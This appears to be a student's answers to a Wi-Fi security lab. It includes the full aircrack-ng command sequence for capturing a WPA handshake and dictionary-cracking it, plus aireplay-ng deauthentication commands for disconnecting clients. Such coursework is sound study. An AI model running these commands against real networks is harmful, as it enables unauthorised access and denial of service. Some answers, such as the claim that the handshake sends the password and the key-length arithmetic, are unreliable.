***Q1: Please answer the following questions:***

1. ***Specify your target network ESSID.***
2. ***Write down all commands you have used to break into the WPA access point (output not required, enter only the commands).***
3. ***What is the WPA key you have extracted? have you been able to associate to the network with respective key?***
4. ESSID: targetnetwork
5. Commands:

sudo airmon-ng

sudo airmon-ng start wlan0 (Enable Monitor mode)

sudo airmon-ng check kill

iwconfig (check monitor mode)

sudo airodump-ng wlan0mon (Scan available WiFI)

sudo airodump-ng -c 6 --bssid '' E4:5F:01:0D:72:2A -w ~/WPAshakefile wlan0mon

sudo aircrack-ng -w rockyou.txt -b E4:5F:01:0D:72:2A WPAshakefile.cap

1. The WPA key is hedgehog. I can use it to connect the target WIFI.

***Q2: Which of the following specifications are true for an SSID? (Choose all that apply.)***

1. Up to 20 characters
2. Up to 32 characters
3. Case sensitive
4. Spaces are allowed
5. Spaces are not allowed

***Q3: Monitor mode is one of the modes that 802.11 wireless cards can operate in, e.g., master, managed, ad-hoc, repeater, and mesh. What is monitor mode capable of? What are the differences between monitor, master and managed mode?***

In Monitor Mode, the Wireless Network Interface Controller can be able to capture all the packets in the air.

The Managed mode is the default mode of the Wireless Interface Card that is used to connect Wireless Network (WiFI) where the card will only capture packets that have its MAC address as the destination MAC. Master Mode is just like the LAB we set up for the Raspberry Pi. It used to let the Device act as a Wireless Access point to provide Wireless access services and routing functionality to other wireless devices. The Modes mentioned above all use Wireless Technology but are used for different purposes.

***Q4. Under what circumstances can WPA be cracked?***

WPA can be cracked when the 4-way authentication handshake packets are being captured. This is because when users initially connect to WIFI, the device will send the Connection Password to the AP for authentication purposes (4-way authentication Handshake). After Capture the Authentication Packets, we can crack the password by using Dictionary Attack.

***Q5: When you run airodump command, in your output you can see fields such as PWR, Beacons, etc. What is PWR? Answer in 1-2 sentences.***

**BSSID** is the MAC address of the Access point.

**PWR** is the Single level reported by the Wireless Monitor NIC Card, it can be used to check the distance between Wireless Scanner and Access point.

**RXQ** is referring to Receive Quality that is used to check whether the Connectivity is stable and how many packet is successfully received by the Wireless Scanner in percentage.

**Beacons:** Refer to the total number of announcements packets sent by the Access point.

**# Data:** Number of captured data packets including data broadcast Packets.

**#/s:** number of data packet per second measure over the last 10 seconds.

**CH:** The WIFI Channel that the AP broadcasting. This is retrieved from the Beacons packet.

**MB**: The Maximum speed supported by AP.

**ENC:** The Encryption algorithm that AP in use.

**CIPHER**: the Cipher detected, the one we receive is CCMP that normally come with WPA2 Encryption.

**AUTH**: The authentication protocol used to authenticate users.

**ESSID**: The Wireless Network Name that broadcast by the APs (The ESSID can be hidden).

**STATION**: MAC address of each device that connect to the WIFI.

**Rate:** Station’s receive rate, followed by transmit rate.

**Lost**: The number of data packets lost over the last 10 seconds based on the Sequence number.

**Packets**: The number of data packets sent by the clients.

**Notes**: Additional information about the client.

**Probes**: The ESSIDs probed by the client.

***Q6: In the same scenario of above question, you want to disconnect all client connected to that AP. What packet you will send for this and what command would you use for this? [only command and parameter definitions]***

sudo aireplay-ng --deauth 0 -a E4:5f:01:0D:72:2A wlan0

* **--deauth:** de-authentication.
* **0:** represents an infinite amount of deauthen attacks to the target Device.
* **-a:** Access Point MAC address.
* **Wlan0:** The Wireless Network Interface Card

***Q7: There is a Windows machine connected to an AP. You are asked to perform a DoS attack against the client to prevent it from browsing online. Write that one command you would perform to run De-Authentication attack against the client and define each parameter in your command.***

***[only command and parameter definitions]***

sudo aireplay-ng --deauth 0 -c xx:xx:xx:xx:xx:xx -a E4:5f:01:0D:72:2A wlan0

* **--deauth:** de-authentication.
* **0**: represents an infinite amount of deauthen attacks to the target Device.
* **-c:** the MAC address of victim.
* **xx:xx:xx:xx:xx:xx**: Target Device MAC address
* **-a**: is the AP that the victim is connected to (MAC).
* **E4:5f:01:0D:72:2A**: MAC address of target AP.
* **wlan0mon**: The Wireless Network Interface Card

***Q8: When attacking WPA network, you want to speed up your brute force dictionary attack. How could you do this? Briefly describe a possible solution.***

* use a more powerful/complex dictionary
* use more powerful processing power device to do brute force dictionary attack.

***Q9: What is Extensible Authentication Protocol? How many types of Extensible Authentication Protocols (EAPs) are supported by WPA/WPA2 and what are they?***

***(Common interview question for jobs, research type)***

EAP is an authentication framework generally used in wireless networks which provides common functions and negotiation of authentication methods known as EAP methods.

There are currently 5 types EAP standards supported by WPA/WPA2 which are

* EAP-TLS

The original wireless LAN EAP authentication protocol. Considered one of the most secure EAP standards even though its rarely implemented due to the difficult development curve. Requires a client-side certificate which gives its authentication strength.

* EAP-TTLS

Developed by Funk and Caricom, unique over PEAP because username is not revealed in clear text, which can prevent some DoS attacks where user can repeatedly attempt to log in with correct username and incorrect password. The TLS tunnel however only protects the password. So it is still possible to attack.

* PEAPv0

Developed by Microsoft and Cisco. Client and server implementations, has universal support and is the second most widely supported EAP standard in the world.

* PEAPv1

Cisco alternative to the above. Differs by allowing the use of an inner authentication protocol

* EAP-SIM

Created for the GSM mobile telecom industry which uses SIM cards for authentication.

***Q10:***

***- What is "WiFi Wardriving"?***

***- List 4 tools that can be used for Wardriving***

***I've heard that turning off SSID broadcasts can stop war drivers from discovering wireless networks -- is that true?***

***(Common interview question)***

* WIFI Wardriving is a physically process that a person drives a car around the area to locate and gathering Wireless Networks and the Wireless Information.
* Tools that used for wardriving:
  + Wardriving software or app.
  + GPS to gathering location.
  + Wireless Network card and antenna to sniff the packet in air.
  + Smartphone, laptop or devices that can be used to run access point mapping software.
  + Transport Tool: Car.

***Q11: How does WPA compare to WPA2? If you were to set up your own WiFi at home, which would you choose and why?***

* WPA was a temporary solution to fix some of the issues in WEP (used the RC4 encryption algorithm), whilst WPA2 was developed as more complete permanent solution.
* WPA also was restricted by using the same algorithm as WEP(RC4) for reverse compatibility with existing hardware
* WPA2 however was developed for the next generation and was not restricted using AES algorithm much faster and more secure

***Q12: Why 20 character key makes WPA Personal more secure? How your experience in the lab supports this argument?*** *????*

* WEP used 40 bits or 5 characters, whereas WPA uses 20 characters = 160 bits which expands the space of possible passwords and makes it significantly more difficult to crack.

***Q13: When is SSID cloaking enabled, which of the following occurs? (Choose all that apply.)***

***(CWSP exam question, research type)***

1. The SSID field is set to null in the beacon frame
2. The SSID field is set to null in the probe request frame.
3. The SSID field is set to null in the probe response frame.
4. The AP stops transmitting beacon frames.
5. The AP stops responding to probe request frames.